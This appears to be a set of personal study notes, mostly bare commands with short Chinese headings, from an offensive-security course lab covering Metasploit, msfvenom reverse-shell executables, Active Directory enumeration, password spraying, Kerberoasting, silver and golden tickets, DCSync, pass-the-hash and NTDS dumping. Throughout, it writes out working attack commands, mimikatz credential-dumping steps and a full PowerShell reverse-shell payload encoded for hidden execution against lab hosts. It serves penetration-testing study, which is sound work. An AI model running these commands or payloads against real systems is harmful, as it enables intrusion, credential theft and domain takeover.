./dnscat feline.corp
windows
window -i 1
?
listen --help
listen 127.0.0.1:4455 172.16.2.11:445
smbclient -p 4455 -L //127.0.0.1 -U hr_admin --password=Welcome1234
20.1 熟悉Metasploit框架
20.1.1 MSF基本设置
sudo msfdb init
sudo systemctl enable postgresql
sudo msfconsole
db_status
help
workspace
workspace -a pen200
db_nmap
db_nmap -A 192.168.50.202
hosts
services
services -p 8000
show -h
20.1.2 工具模块
show auxiliary
search type:auxiliary smb
use 56
info
show options
set RHOSTS 192.168.50.202
unset RHOSTS
services -p 445 --rhosts
run
vulns
search type:auxiliary ssh
use 15
show options
set PASS_FILE /usr/share/wordlists/rockyou.txt
set USERNAME george
set RHOSTS 192.168.50.201
set RPORT 2222
run
creds
20.1.3 漏洞利用模块
workspace -a exploits
search Apache 2.4.49
use 0
info
show options
set payload payload/linux/x64/shell_reverse_tcp
show options
set SSL false
set RPORT 80
set RHOSTS 192.168.50.16
run
sessions -l
sessions -i 2
sessions -k 2
run -j
run -z
20.2 MSF载荷
20.2.1 分段与非分段载荷
show payloads
shell_reverse_tcp 非分段
shell/reverse_tcp 分段
20.2.2 Meterpreter载荷
show payloads
payload/linux/x64/meterpreter_reverse_tcp
set payload 11
show options
run
meterpreter > help
sysinfo
getuid
shell
Ctrl+Z再按y可以把shell放在后台
channel -l
channel -i 1
meterpreter > lpwd
lcd /home/kali/Downloads
download /etc/passwd
lcat /home/kali/Downloads/passwd
upload /usr/bin/unix-privesc-check /tmp/
ls /tmp
exit
20.2.3 可执行有效载荷
msfvenom -l payloads --platform windows --arch x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe
iwr -uri http://192.168.119.2/nonstaged.exe -Outfile nonstaged.exe
.\nonstaged.exe
nc -nvlp 443
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o staged.exe
use multi/handler
set payload windows/x64/shell/reverse_tcp
show options
set LHOST 192.168.119.2
set LPORT 443
run
run -j
jobs
20.3 使用MSF后渗透
20.3.1 核心后渗透功能
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.4 LPORT=443 -f exe -o met.exe
use multi/handler
set payload windows/x64/meterpreter_reverse_https
set LPORT 443
run
nc 192.168.50.223 4444
powershell
iwr -uri http://192.168.119.2/met.exe -Outfile met.exe
.\met.exe
idletime
shell
whoami /priv
有SeImpersonatePrivilege
exit
getuid
getsystem
getuid
ps
migrate 8052
ps
getuid
execute -H -f notepad
migrate 2720
20.3.2 后渗透模块
getsystem
ps
migrate 8044
getuid
Server username: ITWK01\offsec
shell
powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
Medium 说明有UAC
Ctrl+Z y后台运行shell
bg
search UAC
use exploit/windows/local/bypassuac_sdclt
show options
set SESSION 9
set LHOST 192.168.119.4
run
shell
powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
High
use exploit/multi/handler
run
getsystem
load kiwi
help
creds_msv
20.3.3 设置路由和代理
ipconfig
发现是双网卡192和172段
meterpreter > bg
[*] Backgrounding session 12...
route add 172.16.5.0/24 12
route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.16.5.0 255.255.255.0 Session 12
端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.5.200
set PORTS 445,3389
run
use exploit/windows/smb/psexec
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!"
set RHOSTS 172.16.5.200
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8000
run
use multi/manage/autoroute
show options
sessions -l
set session 12
run
就可以自动添加192和172理由
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j
默认是1080端口
tail /etc/proxychains4.conf
socks5 127.0.0.1 1080
sudo proxychains xfreerdp /v:172.16.5.200 /u:luiza
sessions -i 12
portfwd -h
portfwd add -l 3389 -p 3389 -r 172.16.5.200
sudo xfreerdp /v:127.0.0.1 /u:luiza
20.4 自动化MSF
20.4.1 资源脚本
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
run -z -j
sudo msfconsole -r listener.rc
iwr -uri http://192.168.119.4/met.exe -Outfile met.exe
.\met.exe
ls -l /usr/share/metasploit-framework/scripts/resource
21.2 AD域手动枚举
21.2.1 Windows旧工具
xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75
net user /domain
net user jeffadmin /domain
net group /domain
net group "Sales Department" /domain
21.2.2 使用powershell和.NET枚举
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Print the variable
$domainObj
powershell -ep bypass
.\enumeration.ps1
# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Store the PdcRoleOwner name to the $PDC variable
$PDC = $domainObj.PdcRoleOwner.Name
# Print the $PDC variable
$PDC
([adsi]'').distinguishedName
# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Store the PdcRoleOwner name to the $PDC variable
$PDC = $domainObj.PdcRoleOwner.Name
# Store the Distinguished Name variable into the $DN variable
$DN = ([adsi]'').distinguishedName
# Print the $DN variable
$DN
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$LDAP
PS C:\Users\stephanie> .\enumeration.ps1
LDAP://DC1.corp.com/DC=corp,DC=com
21.2.3 在脚本中增加搜索功能
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.FindAll()
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$dirsearcher.FindAll()
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domainObj.PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$result = $dirsearcher.FindAll()
Foreach($obj in $result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "-------------------------------"
}
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="name=jeffadmin"
$result = $dirsearcher.FindAll()
Foreach($obj in $result)
{
Foreach($prop in $obj.Properties)
{
$prop.memberof
}
Write-Host "-------------------------------"
}
function LDAPSearch {
param (
[string]$LDAPQuery
)
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DistinguishedName = ([adsi]'').distinguishedName
$DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
return $DirectorySearcher.FindAll()
}
Import-Module .\function.ps1
LDAPSearch -LDAPQuery "(samAccountType=805306368)"
LDAPSearch -LDAPQuery "(objectclass=group)"
foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) {$group.properties | select {$_.cn}, {$_.member}}
$sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"
$sales.properties.member
21.2.4 使用PowerView枚举AD
Import-Module .\PowerView.ps1
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member
21.3 AD域手动枚举-拓展
21.3.1 枚举操作系统
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
21.3.2 获取已登录用户
Find-LocalAdminAccess
Get-NetSession -ComputerName files04 -Verbose
Get-NetSession -ComputerName web04 -Verbose
如果没有权限会显示
VERBOSE: [Get-NetSession] Error: Access is denied
Get-NetSession -ComputerName client74
CName : \\192.168.50.75
UserName : stephanie
Time : 8
IdleTime : 0
ComputerName : client74
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
.\PsLoggedon.exe \\files04
不成功
Unable to query resource logons
成功
Users logged on locally:
<unknown time> CORP\jeffadmin
Users logged on via resource shares:
10/5/2022 1:33:32 AM CORP\stephanie
21.3.3 通过SPN（服务主体名）枚举
setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com
21.3.4 枚举对象权限
Get-ObjectAcl -Identity stephanie
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-553
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
"S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
net group "Management Department" stephanie /add /domain
Get-NetGroup "Management Department" | select member
net group "Management Department" stephanie /del /domain
Get-NetGroup "Management Department" | select member
21.3.5 枚举域共享
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\
ls \\dc1.corp.com\sysvol\corp.com\Policies\
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
ls \\FILES04\docshare
ls \\FILES04\docshare\docs\do-not-share
cat \\FILES04\docshare\docs\do-not-share\start-email.txt
21.4 自动枚举
21.4.1 SharpHound自动枚举
Import-Module .\Sharphound.ps1
Get-Help Invoke-BloodHound
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"
21.4.2 使用BloodHound进行分析
sudo neo4j start
http://localhost:7474
neo4j/neo4j
bloodhound
Find all Domain Admins
Shortest Paths
查看最短路径
22.1 AD身份认证
22.1.1 NTLM认证
client使用密码计算ntlm
client将username发送给server
server返回给client一个随机挑战串nonce
client使用ntlm加密nonce形成res发给server
server将res、username、nonce发给DC
DC上有所有用户的ntlm，使用对用username的ntlm解密res获得nonce，比对nonce是否正确
DC判断后将结果发给server
22.1.2 Kerberos认证
22.1.3 缓存AD认证信息
xfreerdp /cert-ignore /u:jeff /d:corp.com /p:HenchmanPutridBonbon11 /v:192.168.50.75
cd C:\Tools
.\mimikatz.exe
privilege::debug
获取已登录的用户hash
sekurlsa::logonpasswords
dir \\web04.corp.com\backup
sekurlsa::tickets
22.2 AD身份认证攻击
22.2.1 密码喷洒攻击
net accounts
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")
distinguishedName : {DC=corp,DC=com}
Path : LDAP://DC1.corp.com/DC=corp,DC=com
cd C:\Tools
powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
crackmapexec smb 192.168.50.75 -u dave -p 'Flowers1' -d corp.com
显示“Pwn3d!”说明可以成功登录进行控制
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
22.2.2 AS-REP烘焙
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
输入密码
hashcat --help | grep -i "Kerberos"
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
cd C:\Tools
.\Rubeus.exe asreproast /nowrap
sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Get-DomainUser -PreauthNotRequired
impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete
22.2.3 Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hashcat --help | grep -i "Kerberos"
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete
sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
22.2.4 白银票据
iwr -UseDefaultCredentials http://web04
拒绝访问
privilege::debug
sekurlsa::logonpasswords
SID : S-1-5-21-1987370270-658905905-1781884369-1109
msv :
[00000003] Primary
* Username : iis_service
* Domain : CORP
* NTLM : 4d28cf5252d39971419580a51484ca09
whoami /user
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
exit
klist
iwr -UseDefaultCredentials http://web04
22.2.5 DC同步（dcsync）
cd C:\Tools\
.\mimikatz.exe
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70
23.1 AD横向移动技术
23.1.1 WMI和WinRM
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
python3 encode.py
获得powershell的反弹shell代码
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
成功返回
session ID 1
进入session可以执行命令
Enter-PSSession 1
23.1.2 PsExec
用户是本地administrators组
开启ADMIN$
开启文件和打印共享
./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
23.1.3 hash传递（pth）
smb的445端口可访问
开启ADMIN$
开启文件和打印共享
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
23.1.4 hash跨越
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
klist
没有票据
net use \\files04
klist
有票据了
执行命令
.\PsExec.exe \\files04 cmd
23.1.5 票据传递
whoami
ls \\web04\backup
当前用户没权限访问
privilege::debug
sekurlsa::tickets /export
dir *.kirbi
找到另一个账号的票据注入到当前用户session
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
klist
查看已经有了dave的票据
ls \\web04\backup
可以访问了
23.1.6 DCOM（分布式组件对象模型）
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
tasklist | findstr "calc"
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")
23.2 AD持久化
23.2.1 黄金票据
PsExec64.exe \\DC1 cmd.exe
当前用户没有权限访问DC1
到DC1上获得krbtgt的hash
privilege::debug
lsadump::lsa /patch
获得域SID和krbtgt的hash
kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
misc::cmd
PsExec.exe \\dc1 cmd.exe
whoami /groups
当前用户属于域管组了
23.2.2 Shadow副本
vshadow.exe -nw -p C:
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
支付宝扫码打赏 
微信打赏